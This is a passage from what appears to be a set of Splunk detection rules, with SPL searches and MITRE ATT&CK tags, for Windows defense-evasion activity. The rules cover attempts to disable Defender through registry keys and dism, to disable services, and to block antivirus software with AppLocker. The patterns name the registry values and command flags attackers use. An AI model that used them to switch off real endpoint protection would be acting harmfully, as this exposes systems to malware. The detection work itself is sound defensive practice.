attempting to disable IIS HTTP Logging.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DisableAntiSpyware Registry", - "description": "The following analytic detects the modification of the Windows Registry key \"DisableAntiSpyware\" being set to disable. This detection leverages data from the Endpoint.Registry datamodel, specifically looking for the registry value name \"DisableAntiSpyware\" with a value of \"0x00000001\". This activity is significant as it is commonly associated with Ryuk ransomware infections, indicating potential malicious intent to disable Windows Defender. If confirmed malicious, this action could allow attackers to disable critical security defenses, facilitating further malicious activities such as data encryption, exfiltration, or additional system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_value_name=\"DisableAntiSpyware\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_disableantispyware_registry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA22-264A", - "CISA AA23-347A", - "RedLine Stealer", - "Ryuk Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows DisableAntiSpyware registry key set to 'disabled' on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows DISM Remove Defender", - "description": "The following analytic detects the use of `dism.exe` to remove Windows Defender. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific parameters for disabling and removing Windows Defender. This activity is significant because adversaries may disable Defender to evade detection and carry out further malicious actions undetected. If confirmed malicious, this could lead to the attacker gaining persistent access, executing additional payloads, or exfiltrating sensitive data without being intercepted by Windows Defender.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=dism.exe (Processes.process=\"*/online*\" AND Processes.process=\"*/disable-feature*\" AND Processes.process=\"*Windows-Defender*\" AND Processes.process=\"*/remove*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dism_remove_defender_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to disable Windows Defender.", - "risk_score": 80, - "security_domain": "access", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Event For Service Disabled", - "description": "The following analytic detects when a Windows service is modified from a start type to disabled. It leverages system event logs, specifically EventCode 7040, to identify this change. This activity is significant because adversaries often disable security or other critical services to evade detection and maintain control over a compromised host. If confirmed malicious, this action could allow attackers to bypass security defenses, leading to further exploitation and persistence within the environment.", - "search": "`wineventlog_system` EventCode=7040 EventData_Xml=\"*disabled*\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode Name UserID service ServiceName | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_event_for_service_disabled_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Service $ServiceName$ was disabled on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Excessive Disabled Services Event", - "description": "The following analytic identifies an excessive number of system events where services are modified from start to disabled. It leverages Windows Event Logs (EventCode 7040) to detect multiple service state changes on a single host. This activity is significant as it may indicate an adversary attempting to disable security applications or other critical services, potentially leading to defense evasion or destructive actions. If confirmed malicious, this behavior could allow attackers to disable security defenses, disrupt system operations, and achieve their objectives on the compromised system.", - "search": "`wineventlog_system` EventCode=7040 \"disabled\" | stats count values(EventData_Xml) as MessageList dc(EventData_Xml) as MessageCount min(_time) as firstTime max(_time) as lastTime by Computer EventCode UserID | rename Computer as dest | where count >=10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_excessive_disabled_services_event_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An excessive number (Count - $MessageCount$) of Windows services were disabled on dest - $dest$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Add Xml Applocker Rules", - "description": "The following analytic detects the use of a PowerShell commandlet to import an AppLocker XML policy. This behavior is identified by monitoring processes that execute the \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" commands with the \"-XMLPolicy\" parameter. This activity is significant because it can indicate an attempt to disable or bypass security controls, as seen in the Azorult malware. If confirmed malicious, this could allow an attacker to disable antivirus products, leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` AND Processes.process=\"*Import-Module Applocker*\" AND Processes.process=\"*Set-AppLockerPolicy *\" AND Processes.process=\"* -XMLPolicy *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_add_xml_applocker_rules_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Applocker importing xml policy command was executed in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Health Check Intervals", - "description": "The following analytic detects modifications to the Windows registry that change the health check interval of Windows Defender. It leverages data from the Endpoint datamodel, specifically monitoring changes to the \"ServiceKeepAlive\" registry path with a value of \"0x00000001\". This activity is significant because altering Windows Defender settings can impair its ability to perform timely health checks, potentially leaving the system vulnerable. If confirmed malicious, this could allow an attacker to disable or delay security scans, increasing the risk of undetected malware or other malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\ServiceKeepAlive\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_health_check_intervals_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "change in the health check interval of Windows Defender on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Quick Scan Interval", - "description": "The following analytic detects modifications to the Windows registry that change the Windows Defender Quick Scan Interval. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"QuickScanInterval\" registry path. This activity is significant because altering the scan interval can impair Windows Defender's ability to detect malware promptly, potentially allowing threats to persist undetected. If confirmed malicious, this modification could enable attackers to bypass security measures, maintain persistence, and execute further malicious activities without being detected by quick scans.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Scan\\\\QuickScanInterval\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_quick_scan_interval_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender QuickScanInterval feature was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Throttle Rate", - "description": "The following analytic detects modifications to the ThrottleDetectionEventsRate registry setting in Windows Defender. It leverages data from the Endpoint.Registry datamodel to identify changes in the registry path related to Windows Defender's event logging rate. This activity is significant because altering the ThrottleDetectionEventsRate can reduce the frequency of logged detection events, potentially masking malicious activities. If confirmed malicious, this could allow an attacker to evade detection by decreasing the visibility of security events, thereby hindering incident response and forensic investigations.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\Consumers\\\\IPS\\\\ThrottleDetectionEventsRate\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_throttle_rate_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender ThrottleDetectionEventsRate feature was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Tracing Level", - "description": "The following analytic detects modifications to the Windows registry specifically targeting the \"WppTracingLevel\" setting within Windows Defender. This detection leverages data from the Endpoint.Registry data model to identify changes in the registry path associated with Windows Defender tracing levels. Such modifications are significant as they can impair the diagnostic capabilities of Windows Defender, potentially hiding malicious activities. If confirmed malicious, this activity could allow an attacker to evade detection and maintain persistence within the environment, leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Reporting\\\\WppTracingLevel\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_tracing_level_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender WppTracingLevel registry was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Configure App Install Control", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender SmartScreen App Install Control feature. It leverages data from the Endpoint.Registry data model to identify changes to specific registry values. This activity is significant because disabling App Install Control can allow users to install potentially malicious web-based applications without restrictions, increasing the risk of security vulnerabilities. If confirmed malicious, this action could lead to the installation of harmful applications, potentially compromising the system and exposing sensitive information.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Microsoft\\\\Windows Defender\\\\SmartScreen\\\\ConfigureAppInstallControl\" Registry.registry_value_data= \"Anywhere\") OR (Registry.registry_path= \"*\\\\Microsoft\\\\Windows Defender\\\\SmartScreen\\\\ConfigureAppInstallControlEnabled\" Registry.registry_value_data= \"0x00000000\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_configure_app_install_control_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Define Windows Defender App Install Control registry set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Define Win Defender Threat Action", - "description": "The following analytic detects modifications to the Windows Defender ThreatSeverityDefaultAction registry setting. It leverages data from the Endpoint.Registry datamodel to identify changes in registry values that define how Windows Defender responds to threats. This activity is significant because altering these settings can impair the system's defense mechanisms, potentially allowing threats to go unaddressed. If confirmed malicious, this could enable attackers to bypass antivirus protections, leading to persistent threats and increased risk of data compromise or further system exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Threats\\\\ThreatSeverityDefaultAction*\" Registry.registry_value_data IN (\"0x00000001\", \"9\") by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_define_win_defender_threat_action_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Define Windows Defender threat action through registry on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Delete Win Defender Context Menu", - "description": "The following analytic detects the deletion of the Windows Defender context menu entry from the registry. It leverages data from the Endpoint datamodel, specifically monitoring registry actions where the path includes \"*\\\\shellex\\\\ContextMenuHandlers\\\\EPP\" and the action is 'deleted'. This activity is significant as it is commonly associated with Remote Access Trojan (RAT) malware attempting to disable security features. If confirmed malicious, this could allow an attacker to impair defenses, facilitating further malicious activities such as unauthorized access, persistence, and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\shellex\\\\ContextMenuHandlers\\\\EPP\" Registry.action = deleted by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_delete_win_defender_context_menu_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender context menu registry key deleted on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Delete Win Defender Profile Registry", - "description": "The following analytic detects the deletion of the Windows Defender main profile registry key. It leverages data from the Endpoint.Registry datamodel, specifically monitoring for deleted actions within the Windows Defender registry path. This activity is significant as it indicates potential tampering with security defenses, often associated with Remote Access Trojans (RATs) and other malware. If confirmed malicious, this action could allow an attacker to disable Windows Defender, reducing the system's ability to detect and respond to further malicious activities, thereby compromising endpoint security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\" Registry.action = deleted by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_delete_win_defender_profile_registry_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Logger registry key set to 'disabled' on $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Deny Security Software With Applocker", - "description": "The following analytic detects modifications in the Windows registry by the Applocker utility that deny the execution of various security products. This detection leverages data from the Endpoint.Registry datamodel, focusing on specific registry paths and values indicating a \"Deny\" action against known antivirus and security software. This activity is significant as it may indicate an attempt to disable security defenses, a tactic observed in malware like Azorult. If confirmed malicious, this could allow attackers to bypass security measures, facilitating further malicious activities and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy Objects\\\\*\" AND Registry.registry_path= \"*}Machine\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\SrpV2*\") OR Registry.registry_path=\"*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\SrpV2*\" AND Registry.registry_value_data = \"*Action\\=\\\"Deny\\\"*\" AND Registry.registry_value_data IN(\"*O=SYMANTEC*\",\"*O=MCAFEE*\",\"*O=KASPERSKY*\",\"*O=BLEEPING COMPUTER*\", \"*O=PANDA SECURITY*\",\"*O=SYSTWEAK SOFTWARE*\", 